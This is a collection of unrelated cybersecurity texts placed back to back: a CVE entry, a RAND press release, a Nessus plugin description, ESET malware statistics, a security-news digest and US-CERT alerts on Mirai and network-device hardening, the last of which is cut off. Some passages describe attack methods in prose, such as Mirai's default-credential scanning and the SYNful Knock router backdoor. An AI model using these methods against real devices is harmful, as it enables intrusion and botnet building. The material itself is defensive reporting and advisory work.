Date published: 2015-02-24T15:59:02.503-05:00 Date last modified: 2015-02-25T12:14:19.617-05:00 CVSS Score: 5.0 Principal attack vector: NETWORK Reference URL: http://jvn.jp/en/jp/JVN42768331/index.html Summary: Directory traversal vulnerability in the Speed Root Explorer application before 3.2 for Android and the Speed Explorer application before 2.2 for Android allows remote attackers to write to arbitrary files via a crafted filename.
U.S. Must Focus on Protecting Critical Computer Networks from Cyber Attack October 8, 2009 Because it will be difficult to prevent cyber attacks on critical civilian and military computer networks by threatening to punish attackers, the United States must focus its efforts on defending these networks from cyber attack, according to a new RAND Corporation study. The study finds that the United States and other nations that rely on externally accessible computer networks—such as ones used for electric power, telephone service, banking, and military command and control—as a foundation for their military and economic power are subject to cyber attack. "Adversaries in future wars are likely to go after each other's information systems using computer hacking," said Martin C. Libicki, the report's lead author and senior management scientist at RAND, a nonprofit research organization. "The lessons from traditional warfare cannot be adapted to apply to attacks on computer networks. Cyberspace must be addressed in its own terms." Working against connected but weakly protected computer systems, hackers can steal information, make the systems malfunction by sending them false commands and corrupt the systems with bogus information. In most instances, the damage from cyber attacks is temporary and repeated attacks lead the victim to develop systems that are more difficult to penetrate. The RAND study finds that military cyber attacks are most effective when part of a specific combat operation—such as silencing a surface-to-air missile system protecting an important target—rather than as part of a core element in a long, drawn out military or strategic campaign. Libicki says it is difficult to determine how destructive a cyber attack would be. Damage estimates from recent cyber attacks within the United States range from a few billion dollars to hundreds of billions of dollars a year. The study indicates that cyber warfare is ambiguous, and that it is rarely clear what attacks can damage deliberately or collaterally, or even determine afterward what damage was done. The identity of the attacker may be little more than guesswork, which makes it hard to know when someone has stopped attacking. The cyber attacker's motivation, especially outside physical combat, may be equally unclear. The weapons of cyber war are amorphous, which eliminates using traditional approaches to arms control. Because military networks mostly use the same hardware and software as civilian networks, they have similar vulnerabilities. "This is not an enterprise where means and ends can be calibrated to one another," Libicki said. "As a result, it is ill-suited for strategic warfare." Because offensive cyber warfare is more useful in bothering, but not disarming, an adversary, Libicki does not recommend the United States make strategic cyber warfare a priority investment. He says similar caution is needed for deterring cyber warfare attacks, as it is difficult to attribute a given attack to a specific adversary, and the lack of an ability to counterattack is a significant barrier. Instead, Libicki says the United States may first want to pursue diplomatic, economic and prosecutorial efforts against cyber attackers. The study, "Cyberdeterrence and Cyberwar," was prepared by RAND Project AIR FORCE, a federally funded research and development center for studies and analysis aimed at providing independent policy alternatives for the U.S. Air Force.
Web Server HTTP Dangerous Method Detection High Nessus Plugin ID 10498 SynopsisThe remote web server allows the PUT and/or DELETE method. DescriptionThe PUT method allows an attacker to upload arbitrary web pages on the server. If the server is configured to support scripts like ASP, JSP, or PHP it will allow the attacker to execute code with the privileges of the web server. The DELETE method allows an attacker to delete arbitrary content from the web server. SolutionDisable the PUT and/or DELETE method in the web server configuration.
October Malware: INF/Autorun Tops Stats Globally, HTML/Iframe.B Goes No. 1 in Europe In October, INF/Autorun was the top-most occurring malware worldwide - for the sixth month in a row. With a 5.30% infection rate globally it also placing second on the malware stats in Europe with a 3.66% infection rate. ESET malware statistics based on ESET LiveGrid® - a cloud-based malware collection system utilizing data from users of ESET solutions - has put HTML/Iframe.B in second spot worldwide with 4.41%, while the European infection rate put it in the top spot with 3.75%. HTML/ScrInject.B was third in Europe with 3.65%., placing fourth wordlwide with a 3.09% infection rate. INF/Autorun describes a variety of malware using the file autorun.inf as a way of compromising a PC. This file contains information on programs meant to run automatically when removable media (often USB flash drives) are accessed by a Windows PC user. HTML/ScrInject.B is a generic detection of HTML web pages containing an obfuscated script or iframe tag that automatically redirects the user to the malware download. HTML/Iframe.B denotes a generic detection of malicious IFRAME tags embedded in HTML pages, which redirect the browser to a specific URL location containing malicious software. Win32/Conficker threat is a network worm originally propagated by exploiting a recent vulnerability in the Windows operating system. Global Threats According to ESET LiveGrid® Statistics (October 2012) Threats in Europe According to ESET LiveGrid® Statistics (October 2012) About ESET LiveGrid® ESET Live Grid® is ESET’s cloud-based malware collection system utilizing data from users of ESET solutions worldwide. This continual streaming of information provides ESET Malware Lab specialists with real-time accurate snapshot of the nature and scope of global infiltrations. Careful analysis of the threats, attack vectors and patterns serves ESET to fine-tune all heuristic and signature updates - to protect its users against tomorrow’s threats. ESET, the pioneer of proactive protection and the maker of the award-winning NOD32 technology which is celebrating its 25th anniversary, is a global provider of security solutions for businesses and consumers. The Company continues to lead the industry in proactive threat detection. By obtaining the 75th VB100 award in September 2012, ESET NOD32 Antivirus holds the world record for the number of Virus Bulletin "VB100” Awards, and has never missed a single “In-the-Wild” worm or virus since the inception of testing in 1998. ESET has been selected as one of the most innovative companies in Europe for the 2011 HSBC European Business Awards and holds number of accolades from AV-Comparatives, AV-TEST and other organizations. ESET NOD32 Antivirus, ESET Smart Security and ESET Cyber Security (solution for Mac) are trusted by millions of global users and are among the most recommended security solutions in the world. The Company has global headquarters in Bratislava (Slovakia), with regional distribution centers in San Diego (U.S.), Buenos Aires (Argentina), and Singapore; with offices in Sao Paulo (Brazil) and Prague (Czech Republic). ESET has malware research centers in Bratislava, San Diego, Buenos Aires, Singapore, Prague, Košice (Slovakia), Kracow (Poland), Montreal (Canada), Moscow (Russia), and an extensive partner network for 180 countries.
Summary of Findings The Empirical Cybersecurity Empowering Research Team presents hereby a third attack surface evaluation of the Lebanese perimeter. Selected 20 critical software vulnerabilities, 612 608 IP Addresses, 67 699 live hosts and 86 525 domains were analyzed. The selected vulnerabilities were chosen based on their high or critical rating according to the CVSS scoring system, and because they have been being actively exploited according to threat reports. The study focused on the second quarter Q2 of 2021 to mainly identify the corresponding vulnerable systems during that period. It was found that 976 systems are vulnerable affecting the majority of Lebanon’s sectors, including critical infrastructure.
The academics have mounted a successful GPS spoofing attack against road navigation systems that can trick humans into driving to incorrect locations. The novel part is that they are using real map data to generate plausible malicious instructions. Folks from Cloudflare, Mozilla, Fastly, and Apple during a hackaton implemented Encrypted Server Name Indication (SNI). There are implementations in BoringSSL, NSS and picotls. Good insight on how credit card thieves use free-to-play apps to steal and launder money from the credit cards. Chromium recently introduced Cross-Origin Read Blocking (CORB) that helps mitigate the threat of side-channel attacks (including Spectre). For anybody interested in reverse engineering, nice write up about the Smoke Loader malware bot unpacking mechanism and communication with the C&C. A research on how to bypass memory scanners using Cobalt Strike’s beacon payload and the gargoyle memory scanning evasion technique. Eset researchers analyzed ongoing espionage campaign against the Ukrainian government institutions. The intercept summarized what the public has learned about Russian and U.S. spycraft from the Special Counsel Robert Mueller’s indictment of hackers. Security researchers have uncovered a highly targeted mobile malware campaign that has been operating since August 2015 and found spying on 13 selected iPhones in India. There is an exploit for Ubuntu Linux (up to 4.17.4) where other users coredumps can be read via setgid directory and killpriv bypass. Marcus Brinkmann demonstrated how some configuration options in the GnuPG allow remote attackers to spoof arbitrary signature. He used the embedded “filename” parameter in OpenPGP literal data packets, together with the verbose option set in their gpg.conf file. Tapplock Smart Lock has critical bugs making it a trivial protection. They are using the AES key derived from the MAC address, so anyone with a Bluetooth enabled smartphone can pick up the key upon getting to a smart lock Bluetooth range. Crooks are injecting credit card stealing backdoor to the config files of a hacked Magento e-commerce platforms. They can reinfect the rest of code base over and over again with the config load. Updated Satori botnet began to perform network wide scan looking for exploitable XiongMai uc-httpd 1.0.0 devices (CVE-2018-10088). Baby Monitors in the USA were hacked via obscure Chinese IoT cloud. The woman from the Facebook post claims that someone controlled the camera remotely and spied on her, possibly listened in to conversations. OpenBSD disables Intel's hyper-threading due to possible exploitable spectre-class bugs in the architecture. Linux is getting support for in-kernel hibernation encryption. Encrypts disk-image memory, thereby increasing the general security of full-disk encryption on Linux and reducing the attack surface. OTSECA - (ot)her (sec)urity (a)wareness is an open source security auditing tool to search and dump system configuration. It allows you to generate reports in HTML or RAW-HTML formats. 500,000 routers in more than 50 countries are infected with the malware targeting routers. Primarily home devices like Linksys, MikroTik, NETGEAR and TP-Link. Cisco's Talos Security attributed malware to the future Russian cyber operations against the Ukraine. The US FBI agents seize control of the botnet. The Internet Archive's Wayback Machine is deleting evidence on the malware sellers. They have removed from their archive a webpage of a Thailand-based firm FlexiSpy, which offers desktop and mobile malware. According to the McAfee team, North Korean threat actor Sun Team is targeting defectors using the malicious Android applications on Google Play. Don't use sha256crypt & sha512crypt primitives as shipped with GNU/Linux, they're leaking information about the password via time duration of a hashing operation. Not critical vulnerability, but good to know. The Intercept published an interesting article about the Japanese signals intelligence agency, based on Snowden's leaks. The US FBI repeatedly overstated encryption threat figures to Congress and the public. The US internet provider Comcast was leaking the usernames and passwords of customers’ wireless routers to anyone with the valid subscriber’s account number and street address number. Amazon is pitching their facial recognition technology to law enforcement agencies, saying the program could aid criminal investigations by recognizing suspects in photos and videos. Great blog about the SMS binary payloads and how SMS is weakening mobile security for years. Researchers from the Eclypsium found a new variation of the Spectre attack that can allow attackers to recover data stored inside CPU System Management Mode. They have even published Proof-of-concept. Major (probably not only) US cell carriers are selling access to the real-time phone location data. Because, you know the Electronic Communications Privacy Act only restricts telecommunication companies from disclosing data to the government, it doesn't restrict disclosure to other companies. Which can resell back to the gov. Hacker News discussion on a topic is quite informative. Guardian wrote that according to the Oracle findings, Android devices send detailed information on searches, what is being viewed and also precise locations to the Google. Even if location services are turned off and the smartphone does not have a Sim card or application installed. A new report details a widespread campaign targeting several Turkish activists and protesters by their government, using the government malware made by FinFisher. A new set of vulnerabilities affecting users of PGP and S/MIME were published. The main problem lies in how email clients handle the output of the encryption tool, the protocol itself is not vulnerable, GnuPG should be fine. Cryptocurrency mining malware was found in the Ubuntu Snap Store. Essential reading on how spies are able to shape narrative of a journalistic pieces by document leaking. The US media has learned the identity of the prime suspect in the Vault7 WikiLeaks CIA breach. Should be a 29-year-old former C.I.A. software engineer, government malware writer. Great blog post about math behind and existing implementations of the homomorphic encryption. There is an article about the common encryption workarounds in the criminal investigations written by Orin S. Kerr and Bruce Schneier. Sunder is a new desktop application for dividing access to secret information between multiple participants using Shamir's secret sharing method. DARKSURGEON is a Windows packer project to empower incident response, malware analysis, and network defense. Facebook, Google, Cisco, WhatsApp and other industry partners get together to create Message Layer Security as an open standard for end-to-end encryption with formal verification. Messaging Layer Security is now an IETF working group as well. Long read about the takedown of Gooligan, Android botnet that was stealing OAuth credentials back in 2016. The Israeli security company CTS Labs published information about a series of exploits against AMD chips just one day after they have notified the AMD. Russia orders company behind the Telegram messaging application to hand over users’ encryption keys. Hacker behind Guccifer 2.0 pseudonym, known for providing WikiLeaks with stolen emails from the US Democratic National Committee, was an officer of Russia’s military intelligence directorate. Fascinating in depth blog about the breaking security of the Ledger cryptocurrency hardware wallet. There was a Facebook bug which made persistent XSS in Facebook wall possible by embedding an external video using the Open Graph protocol. Documents leaked by Edward Snowden reveal that the NSA worked to “track down” Bitcoin users. Dark Web Map - a visualization of the structure of 6.6k Tor's onion services, a.k.a. hidden services, a.k.a. the dark web. A cyberattack on a Saudi Arabian petrochemical company was probably planed with the physical explosion in mind. They have attributed Iran, and didn't mention Stuxnet at all, so a little bit one-sided view of this cyberwarfare exchange. There is a critical vulnerability in Credential Security Support Provider protocol (CredSSP) that affects all versions of Windows. Due to cryptographic flaw, man-in-the-middle attack could allow remote procedure calls attack and data exfiltration against the RDP and WinRM. A vulnerability (CVE-2018-1057) in Samba allows authenticated users to change other users' password. Kubernetes vulnerability (CVE-2017-1002101) allows containers using subpath volume mounts with any volume type to access files/directories outside of the volume, including the host’s filesystem. Updated version is already available. Quite good exchange on the encryption policy and the government backdoor proposals between the US National Academy of Sciences and the Electronic Frontier Foundation. Relevant for all democratic regimes. Kaspersky has discovered PlugX remote access tool (RAT) malware installed across the pharmaceutical organizations in Vietnam, aimed at stealing drug formulas and business information. Encrypted Email Service provider ProtonMail is being blocked by internet service providers in Turkey. CTS-Labs security researchers has published a whitepaper identifying four classes of potential vulnerabilities of the Ryzen, EPYC, Ryzen Pro, and Ryzen Mobile processor lines. Adam Langley's blog post about the inability of the TLS 1.3 to snoop on proxy traffic. Hacker Adrian Lamo dies at 37. He was known for his involvement in passing information on whistleblower Chelsea Manning, a former US Army soldier who leaked sensitive information to the WikiLeaks. To find assault suspect, police in the Raleigh, North Carolina used search warrants to demand Google accounts not of specific suspects, but from any mobile devices that veered too close to the scene of a crime in specific time. Kaspersky releases Klara, a distributed system written in Python, designed to help threat intelligence researchers hunt for new malware using Yara rules. Nice paper about the simple manual cipher that should be resistant against the modern cryptanalysis. LC4: A Low-Tech Authenticated Cipher for Human-To-Human Communication https://eprint.iacr.org/2017/339 The "Janus" Android vulnerability (CVE-2017-13156) allows attackers to modify the code in applications without affecting their signatures. The root of the problem is that a file can be a valid APK file and a valid DEX file at the same time. The vulnerability allows attackers to inject malware into legitimate application and avoiding detection. According to the research by Hanno Böck, Juraj Somorovsky and Craig Young, the Bleichenbacher’s attack on RSA PKCS#1v1.5 encryption still works on almost 3% of the Alexa top million most visited websites. The researchers were even able to sign a message using Facebook’s private TLS key. Vendors like Citrix, F5, Cisco, and multiple SSL implementations are affected. HP had a keylogger in the Touchpad driver, which was disabled by default, but could be enabled by setting a registry value. There is a remote root code execution flaw (CVE-2017-15944) in the Palo Alto Networks firewalls. Researchers from the Group-IB spotted the operations of a Russian-speaking MoneyTaker group that stole as much as $10 million from US and Russian banks. Recorded Future analyzed costs of various cybercriminal services sold on the dark market. Internet traffic for organizations such as Google, Apple, Facebook, Microsoft, Twitch were briefly rerouted to Russia. Microsoft started rolling out an update for Malware Protection Engine to fix a remotely exploitable bug discovered by the British intelligence agency. Avast open-sources RetDec machine-code decompiler for platform-independent analysis of executable files. It's based on LLVM. Wireless network sniffer Kismet now supports the DJI DroneID UAV telemetry extensions. Wazuh - Wazuh helps you to gain deeper security visibility into your infrastructure by monitoring hosts at an operating system and application level. It supports log management and analysis, integrity monitoring, anomaly detection and compliance monitoring. Wifiphisher is an automated victim-customized phishing attacks against Wi-Fi clients. The German Interior Minister is preparing a law that will force device manufacturers to include backdoors within their products that law enforcement agencies could use at their discretion for legal investigations. According to the Citizen Lab, Ethiopian dissidents in the US, UK, and other countries were targeted with emails containing sophisticated commercial spyware sold by Israeli firm Cyberbit. Elcomsoft wrote an insight about the drastically degraded security of the Apples iOS 11 operating system. Chinese drone maker D.J.I. is potentially sharing collected data with the Chinese government. Crooks are installing cryptocurrency miners by using typosquatting npm package names. They are searching for the unregistered package names with the difference of one bit from a well known packages. Swiftype written a good blog about their infrastructure risk assessment and threat modeling. Nvidia published a paper about the clustering of a benign and malicious Windows executables using neural networks. Bucket Stream - Find interesting Amazon S3 Buckets by watching certificate transparency logs. Sysdig Inspect – a powerful interface for container troubleshooting and security investigation SensePost researchers found out that the Microsoft Office home page is able to compromise user by loading ActiveX component with VBscript. Microsoft security department were contacted by a worried user that found 2 seemingly identical µTorrent executables, with valid digital signatures, but different cryptographic hashes. As they have found out there were marketing campaign identifier in "a text file inside a ZIP file inside a PE file, BASE64 encoded and injected in the digital signature of a PE file.". Quite complicated... A vulnerability (CVE-2017-15361) in generation of RSA keys used by a software library adopted in cryptographic smartcards, security tokens and other secure hardware chips manufactured by Infineon Technologies AG allows for a practical factorization attack, in which the attacker computes the private part of an RSA key. The attack is feasible for commonly used key lengths, including 1024 and 2048 bits, and affects chips manufactured as early as 2012, that are now commonplace. The rolling code in electronic keys for Subaru Forester (2009) and some other models are not random. Keys can be cloned, cars unlocked, with the hardware costs of $25. https://github.com/tomwimmenhove/subarufobrob Microsoft reintroduced a Pool-based overflow kernel vulnerability on Windows 10 x64 (RS2) Creators Update which was originally patched in 2016. The guys wrote an exploit with rich explanation. Blog about the "Exploding Git Repositories" that will crash your git process. MediaTek and Broadcom Wi-Fi AP drivers have a weak random number generator, allowing prediction of Group Temporal Key. Practical attack requires a LOT of handshakes. How to hide a process from SysInternals without the admin rights, but with the privilege escalation. Adam Langley blogged about the low level testing of the FIDO U2F security keys, namely Yubico, VASCO SecureClick, Feitian ePass, Thetis, U2F Zero, KEY-ID / HyperFIDO. Good introductory blog about the (in)security of Intel Boot Guard. The author also published source code of the UEFITool with visual validation of Intel Boot Guard coverage. A script that tests if access points are affected by Key Reinstallation Attacks (CVE-2017-13082) was published on a GitHub by researcher Mathy Vanhoef. The Miscreant is a Misuse-resistant symmetric encryption library supporting the AES-SIV (RFC 5297) and CHAIN/STREAM constructions. There is a great probability that if you used Outlook’s S/MIME encryption in the past 6 months, plaintext of your emails was leaked to the mail exchange because of Outlook S/MIME CVE-2017-11776 vulnerability. The Kaspersky anti-virus was allegedly stealing NSA secrets using a silent signature mode that detected classified documents. Israel hacked the Kaspersky, and notified the NSA. A custom OxygenOS Android fork that comes installed on all OnePlus smartphones, is tracking users, allowing OnePlus to connect each phone to its customer. Chromebooks and Chromeboxes are affected by a bug in certain Infineon Trusted Platform Module (TPM) firmware versions. RSA keys generated by the TPM being vulnerable to a computationally expensive attacks. Targeted attacks are possible. KovCoreG hacking group used advertising network on Pornhub to redirect users to a fake browser update websites that installed malware. Apple released a security patch for macOS High Sierra 10.13 to fix vulnerabilities in the Apple file system (APFS) volumes and Keychain software. The patch also addresses a flaw in the Apple file system that exposes encrypted drive’s password in the hint box. Yet another part of the reverse engineering blog post series analyzing TrickBot with IDA. Keybase has launched a nice new feature - encrypted Git. There are no services like website, pull requests, issue tracking or wiki, just simple git. Encrypted.
Original release date: October 14, 2016 \| Last revised: October 17, 2016 Internet of Things (IoT)—an emerging network of devices (e.g., printers, routers, video cameras, smart TVs) that connect to one another via the Internet, often automatically sending and receiving data Recently, IoT devices have been used to create large-scale botnets—networks of devices infected with self-propagating malware—that can execute crippling distributed denial-of-service (DDoS) attacks. IoT devices are particularly susceptible to malware, so protecting these devices and connected hardware is critical to protect systems and networks. On September 20, 2016, Brian Krebs’ security blog (krebsonsecurity.com) was targeted by a massive DDoS attack, one of the largest on record, exceeding 620 gigabits per second (Gbps). An IoT botnet powered by Mirai malware created the DDoS attack. The Mirai malware continuously scans the Internet for vulnerable IoT devices, which are then infected and used in botnet attacks. The Mirai bot uses a short list of 62 common default usernames and passwords to scan for vulnerable devices. Because many IoT devices are unsecured or weakly secured, this short dictionary allows the bot to access hundreds of thousands of devices. The purported Mirai author claimed that over 380,000 IoT devices were enslaved by the Mirai malware in the attack on Krebs’ website. In late September, a separate Mirai attack on French webhost OVH broke the record for largest recorded DDoS attack. That DDoS was at least 1.1 terabits per second (Tbps), and may have been as large as 1.5 Tbps. The IoT devices affected in the latest Mirai incidents were primarily home routers, network-enabled cameras, and digital video recorders. Mirai malware source code was published online at the end of September, opening the door to more widespread use of the code to create other DDoS attacks. In early October, Krebs on Security reported on a separate malware family responsible for other IoT botnet attacks. This other malware, whose source code is not yet public, is named Bashlite. This malware also infects systems through default usernames and passwords. Level 3 Communications, a security firm, indicated that the Bashlite botnet may have about one million enslaved IoT devices. With the release of the Mirai source code on the Internet, there are increased risks of more botnets being generated. Both Mirai and Bashlite can exploit the numerous IoT devices that still use default passwords and are easily compromised. Such botnet attacks could severely disrupt an organization’s communications or cause significant financial harm. Software that is not designed to be secure contains vulnerabilities that can be exploited. Software-connected devices collect data and credentials that could then be sent to an adversary’s collection point in a back-end application. Cybersecurity professionals should harden networks against the possibility of a DDoS attack. For more information on DDoS attacks, please refer to US-CERT Security Publication DDoS Quick Guide and the US-CERT Alert on UDP-Based Amplification Attacks. In order to remove the Mirai malware from an infected IoT device, users and administrators should take the following actions: - Disconnect device from the network. - While disconnected from the network and Internet, perform a reboot. Because Mirai malware exists in dynamic memory, rebooting the device clears the malware . - Ensure that the password for accessing the device has been changed from the default password to a strong password. See US-CERT Tip Choosing and Protecting Passwords for more information. - You should reconnect to the network only after rebooting and changing the password. If you reconnect before changing the password, the device could be quickly reinfected with the Mirai malware. In order to prevent a malware infection on an IoT device, users and administrators should take following precautions: - Ensure all default passwords are changed to strong passwords. Default usernames and passwords for most devices can easily be found on the Internet, making devices with default passwords extremely vulnerable. - Update IoT devices with security patches as soon as patches become available. - Disable Universal Plug and Play (UPnP) on routers unless absolutely necessary. - Purchase IoT devices from companies with a reputation for providing secure devices. - Consumers should be aware of the capabilities of the devices and appliances installed in their homes and businesses. If a device comes with a default password or an open Wi-Fi connection, consumers should change the password and only allow it to operate on a home network with a secured Wi-Fi router. - Understand the capabilities of any medical devices intended for at-home use. If the device transmits data or can be operated remotely, it has the potential to be infected. - Monitor Internet Protocol (IP) port 2323/TCP and port 23/TCP for attempts to gain unauthorized control over IoT devices using the network terminal (Telnet) protocol. - Look for suspicious traffic on port 48101. Infected devices often attempt to spread malware by using port 48101 to send results to the threat actor. - October 14, 2016: Initial release - October 17, 2016: Added ICS-CERT reference This product is provided subject to this Notification and this Privacy & Use policy. Original release date: September 06, 2016 \| Last revised: September 28, 2016 Network Infrastructure Devices The advancing capabilities of organized hacker groups and cyber adversaries create an increasing global threat to information systems. The rising threat levels place more demands on security personnel and network administrators to protect information systems. Protecting the network infrastructure is critical to preserve the confidentiality, integrity, and availability of communication and services across an enterprise. To address threats to network infrastructure devices, this Alert provides information on recent vectors of attack that advanced persistent threat (APT) actors are targeting, along with prevention and mitigation recommendations. Network infrastructure consists of interconnected devices designed to transport communications needed for data, applications, services, and multi-media. Routers and firewalls are the focus of this alert; however, many other devices exist in the network, such as switches, load-balancers, intrusion detection systems, etc. Perimeter devices, such as firewalls and intrusion detection systems, have been the traditional technologies used to secure the network, but as threats change, so must security strategies. Organizations can no longer rely on perimeter devices to protect the network from cyber intrusions; organizations must also be able to contain the impact/losses within the internal network and infrastructure. For several years now, vulnerable network devices have been the attack-vector of choice and one of the most effective techniques for sophisticated hackers and advanced threat actors. In this environment, there has never been a greater need to improve network infrastructure security. Unlike hosts that receive significant administrative security attention and for which security tools such as anti-malware exist, network devices are often working in the background with little oversight—until network connectivity is broken or diminished. Malicious cyber actors take advantage of this fact and often target network devices. Once on the device, they can remain there undetected for long periods. After an incident, where administrators and security professionals perform forensic analysis and recover control, a malicious cyber actor with persistent access on network devices can reattack the recently cleaned hosts. For this reason, administrators need to ensure proper configuration and control of network devices. Proliferation of Threats to Information Systems In September 2015, an attack known as SYNful Knock was disclosed. SYNful Knock silently changes a router’s operating system image, thus allowing attackers to gain a foothold on a victim’s network. The malware can be customized and updated once embedded. When the modified malicious image is uploaded, it provides a backdoor into the victim’s network. Using a crafted TCP SYN packet, a communication channel is established between the compromised device and the malicious command and control (C2) server. The impact of this infection to a network or device is severe and most likely indicates that there may be additional backdoors or compromised devices on the network. This foothold gives an attacker the ability to maneuver and infect other hosts and access sensitive data. The initial infection vector does not leverage a zero-day vulnerability. Attackers either use the default credentials to log into the device or obtain weak credentials from other insecure devices or communications. The implant resides within a modified IOS image and, when loaded, maintains its persistence in the environment, even after a system reboot. Any further modules loaded by the attacker will only exist in the router’s volatile memory and will not be available for use after the device reboots. However, these devices are rarely or never rebooted. To prevent the size of the image from changing, the malware overwrites several legitimate IOS functions with its own executable code. The attacker examines the functionality of the router and determines functions that can be overwritten without causing issues on the router. Thus, the overwritten functions will vary upon deployment. The attacker can utilize the secret backdoor password in three different authentication scenarios. In these scenarios the implant first checks to see if the user input is the backdoor password. If so, access is granted. Otherwise, the implanted code will forward the credentials for normal verification of potentially valid credentials. This generally raises the least amount of suspicion. Cisco has provided an alert on this attack vector. For more information, see the Cisco SYNful Knock Security Advisory. Other attacks against network infrastructure devices have also been reported, including more complicated persistent malware that silently changes the firmware on the device that is used to load the operating system so that the malware can inject code into the running operating system. For more information, please see Cisco's description of the evolution of attacks on Cisco IOS devices. Cisco Adaptive Security Appliance (ASA) A Cisco ASA device is a network device that provides firewall and Virtual Private Network (VPN) functionality. These devices are often deployed at the edge of a network to protect a site’s network infrastructure, and to give remote users access to protected local resources. In June 2016, NCCIC received several reports of compromised Cisco ASA devices that were modified in an unauthorized way. The ASA devices directed users to a location where malicious actors tried to socially engineer the users into divulging their credentials. It is suspected that malicious actors leveraged CVE-2014-3393 to inject malicious code into the affected devices. The malicious actor would then be able to modify the contents of the Random Access Memory Filing System (RAMFS) cache file system and inject the malicious code into the appliance’s configuration. Refer to the Cisco Security Advisory Multiple Vulnerabilities in Cisco ASA Software for more information and for remediation details. In August 2016, a group known as “Shadow Brokers” publicly released a large number of files, including exploitation tools for both old and newly exposed vulnerabilities. Cisco ASA devices were found to be vulnerable to the released exploit code. In response, Cisco released an update to address a newly disclosed Cisco ASA Simple Network Management Protocol (SNMP) remote code execution vulnerability (CVE-2016-6366). In addition, one exploit tool targeted a previously patched Cisco vulnerability (CVE-2016-6367). Although Cisco provided patches to fix this Cisco ASA command-line interface (CLI) remote code execution vulnerability in 2011, devices that remain unpatched are still vulnerable to the described attack. Attackers may target vulnerabilities for months or even years after patches become available. If the network infrastructure is compromised, malicious hackers or adversaries can gain full control of the network infrastructure enabling further compromise of other types of devices and data and allowing traffic to be redirected, changed, or denied. Possibilities of manipulation include denial-of-service, data theft, or unauthorized changes to the data. Intruders with infrastructure privilege and access can impede productivity and severely hinder re-establishing network connectivity. Even if other compromised devices are detected, tracking back to a compromised infrastructure device is often difficult. Malicious actors with persistent access to network devices can reattack and move laterally after they have been ejected from previously exploited hosts. 1. Segregate Networks and Functions Proper network segmentation is a very effective security mechanism to prevent an intruder from propagating exploits or laterally moving around an internal network. On a poorly segmented network, intruders are able to extend their impact to control critical devices or gain access to sensitive data and intellectual property. Security architects must consider the overall infrastructure layout, segmentation, and segregation. Segregation separates network segments based on role and functionality. A securely segregated network can contain malicious occurrences, reducing the impact from intruders, in the event that they have gained a foothold somewhere inside the network. Physical Separation of Sensitive Information Local Area Network (LAN) segments are separated by traditional network devices such as routers. Routers are placed between networks to create boundaries, increase the number of broadcast domains, and effectively filter users’ broadcast traffic. These boundaries can be used to contain security breaches by restricting traffic to separate segments and can even shut down segments of the network during an intrusion, restricting adversary access. - Implement Principles of Least Privilege and need-to-know when designing network segments. - Separate sensitive information and security requirements into network segments. - Apply security recommendations and secure configurations to all network segments and network layers. Virtual Separation of Sensitive Information As technologies change, new strategies are developed to improve IT efficiencies and network security controls. Virtual separation is the logical isolation of networks on the same physical network. The same physical segmentation design principles apply to virtual segmentation but no additional hardware is required. Existing technologies can be used to prevent an intruder from breaching other internal network segments. - Use Private Virtual LANs to isolate a user from the rest of the broadcast domains. - Use Virtual Routing and Forwarding (VRF) technology to segment network traffic over multiple routing tables simultaneously on a single router. - Use VPNs to securely extend a host/network by tunneling through public or private networks. 2. Limit Unnecessary Lateral Communications Allowing unfiltered workstation-to-workstation communications (as well as other peer-to-peer communications) creates serious vulnerabilities, and can allow a network intruder to easily spread to multiple systems. An intruder can establish an effective “beach head” within the network, and then spread to create backdoors into the network to maintain persistence and make it difficult for defenders to contain and eradicate. - Restrict communications using host-based firewall rules to deny the flow of packets from other hosts in the network. The firewall rules can be created to filter on a host device, user, program, or IP address to limit access from services and systems. - Implement a VLAN Access Control List (VACL), a filter that controls access to/from VLANs. VACL filters should be created to deny packets the ability to flow to other VLANs. - Logically segregate the network using physical or virtual separation allowing network administrators to isolate critical devices onto network segments. 3. Harden Network Devices A fundamental way to enhance network infrastructure security is to safeguard networking devices with secure configurations. Government agencies, organizations, and vendors supply a wide range of resources to administrators on how to harden network devices. These resources include benchmarks and best practices. These recommendations should be implemented in conjunction with laws, regulations, site security policies, standards, and industry best practices. These guides provide a baseline security configuration for the enterprise that protects the integrity of network infrastructure devices. This guidance supplements the network security best practices supplied by vendors. - Disable unencrypted remote admin protocols used to manage network infrastructure (e.g., Telnet, FTP). - Disable unnecessary services (e.g. discovery protocols, source routing, HTTP, SNMP, BOOTP). - Use SNMPv3 (or subsequent version) but do not use SNMP community strings. - Secure access to the console, auxiliary, and VTY lines. - Implement robust password policies and use the strongest password encryption available. - Protect router/switch by controlling access lists for remote administration. - Restrict physical access to routers/switches. - Backup configurations and store offline. Use the latest version of the network device operating system and update with all patches. - Periodically test security configurations against security requirements. - Protect configuration files with encryption and/or access controls when sending them electronically and when they are stored and backed up. 4. Secure Access to Infrastructure Devices Administrative privileges on infrastructure devices allow access to resources that are normally unavailable to most users and permit the execution of actions that would otherwise be restricted. When administrator privileges are improperly authorized, granted widely, and/or not closely audited, intruders can exploit them. These compromised privileges can enable adversaries to traverse a network, expanding access and potentially allowing full control of the infrastructure backbone. Unauthorized infrastructure access can be mitigated by properly implementing secure access policies and procedures. - Implement Multi-Factor Authentication – Authentication is a process to validate a user’s identity. Weak authentication processes are commonly exploited by attackers. Multi-factor authentication uses at least two identity components to authenticate a user’s identity. Identity components include something the user knows (e.g., password); an object the user has possession of (e.g., token); and a trait unique to the specific person (e.g., biometric). - Manage Privileged Access – Use an authorization server to store access information for network device management. This type of server will enable network administrators to assign different privilege levels to users based on the principle of least privilege. When a user tries to execute an unauthorized command, it will be rejected. To increase the strength and robustness of user authentication, implement a hard token authentication server in addition to the AAA server, if possible. Multi-factor authentication increases the difficulty for intruders to steal and reuse credentials to gain access to network devices. - Manage Administrative Credentials – Although multi-factor authentication is highly recommended and a best practice, systems that cannot meet this requirement can at least improve their security level by changing default passwords and enforcing complex password policies. Network accounts must contain complex passwords of at least 14 characters from multiple character domains including lowercase, uppercase, numbers, and special characters. Enforce password expiration and reuse policies. If passwords are stored for emergency access, keep these in a protected off-network location, such as a safe. 5. Perform Out-of-Band Management Out-of-Band (OoB) management uses alternate communication paths to remotely manage network infrastructure devices. These dedicated paths can vary in configuration to include anything from virtual tunneling to physical separation. Using OoB access to manage the network infrastructure will strengthen security by limiting access and separating user traffic from network management traffic. OoB management provides security monitoring and can implement corrective actions without allowing the adversary who may have already compromised a portion of the network to observe these changes. OoB management can be implemented physically or virtually, or through a hybrid of the two. Building additional physical network infrastructure is the most secure option for the network managers, although it can be very expensive to implement and maintain. Virtual implementation is less costly, but still requires significant configuration changes and administration. In some situations, such as access to remote locations, virtual 